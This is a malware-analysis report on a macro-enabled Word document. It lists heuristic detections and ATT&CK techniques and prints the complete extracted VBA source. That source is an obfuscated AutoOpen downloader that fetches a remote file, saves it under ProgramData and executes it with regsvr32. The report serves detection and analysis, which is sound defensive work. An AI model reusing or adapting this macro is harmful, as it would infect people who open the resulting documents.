MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to download a file from the URL 'the embedded link' and save it as 'C:\ProgramData\717294498.ej4p5ge'. It then uses 'cmd.exe' to execute the downloaded file, indicating a downloader or dropper functionality.
Heuristics 5
-
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\it.jpg
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3157 bytes |
SHA-256: 45a6d020f96338889d43828fdfce2bbc6c00384510384169e12f7978f4b7c399 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ce385fb9"
Function eeb69e0a()
eeb69e0a = ActiveWindow.Index
End Function
Function d81a0933()
d81a0933 = ActiveWindow.WindowState
End Function
Sub cc20c015(ec0afe18, cf1569d5)
Dim bb2c8631
bb2c8631 = FreeFile
Open ec0afe18 For Output As #bb2c8631
Print #bb2c8631, ab516380(cf1569d5)
Close #bb2c8631
End Sub
Function dd9c431c()
dd9c431c = ActiveWindow.DisplayVerticalRuler
End Function
Function d6d201aa()
d6d201aa = "Palls forefather cups separations"
End Function
Function f8e59b55(fc593033)
fa41fa63 = Len(fc593033)
For f726daef = 1 To fa41fa63 Step 2
eacebeff = eacebeff & Mid(fc593033, f726daef, 1)
Next
f8e59b55 = eacebeff
End Function
Function afc32400()
afc32400 = Application.ActiveDocument.AutoFormatOverride
End Function
Function cabf3e3d()
cabf3e3d = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Sub f2183caa()
End Sub
Function a2aaefe0()
a2aaefe0 = ActiveWindow.Width
End Function
Function e5fab896()
e5fab896 = ActiveWindow.DisplayScreenTips
End Function
Sub AutoOpen()
Dim ae032afd As New b5f50fc5
cc20c015 f8e59b55("ca:4\4p8r8o3g0r4acmfdca4t9a6\717294498.ej4p5ge"), ae032afd.ca31c01b(f8e59b55("hdt1t8pc:6/2/0ceocf3i038.3cbo0m1/4i7z551/6yca2cea5.2p6h3pa?dl1=ek0p1t88a.acda5bf"))
Dim c8044f00 As New WshShell
c8044f00.exec d9ed35e7 & " " & f8e59b55("ca:4\4p8r8o3g0r4acmfdca4t9a6\717294498.ej4p5ge")
End Sub
Attribute VB_Name = "c6be038f"
Function f333f403()
f333f403 = ActiveWindow.DisplayRulers
End Function
Function def7e881()
def7e881 = ActiveWindow.Visible
End Function
Function ab516380(b58a1cec)
ab516380 = StrConv(b58a1cec, 64)
End Function
Function d96a2df0()
d96a2df0 = 128
End Function
Function ffb71dfc()
ffb71dfc = 147 * 4
End Function
Function fadaf300()
End Function
Function e65bae6e()
e65bae6e = ActiveWindow.Creator
End Function
Function d7b009be()
d7b009be = Application.ActiveDocument.AutoSaveOn
End Function
Function d9ed35e7()
d9ed35e7 = f8e59b55("r4e7g8sfv4ra3023")
End Function
Attribute VB_Name = "b5f50fc5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function e40eb4d7()
e40eb4d7 = ActiveWindow.Height
End Function
Function ffa9cef4()
ffa9cef4 = False
End Function
Function ca31c01b(b730e74b)
Dim a1ea0ccd As Object
Set a1ea0ccd = New MSXML2.XMLHTTP30
Call a1ea0ccd.Open("GET", b730e74b, False)
a1ea0ccd.Send
ca31c01b = a1ea0ccd.responsebody
End Function
Function d61ef34d()
d61ef34d = ActiveWindow.DisplayScreenTips
End Function
Function f0efd1dc()
f0efd1dc = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function e3fc2362(c97a6c7c)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 24576 bytes |
SHA-256: 4528e228f248f5660c299415f25b3ea85700829b361bc521c51752fae245f9fb |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.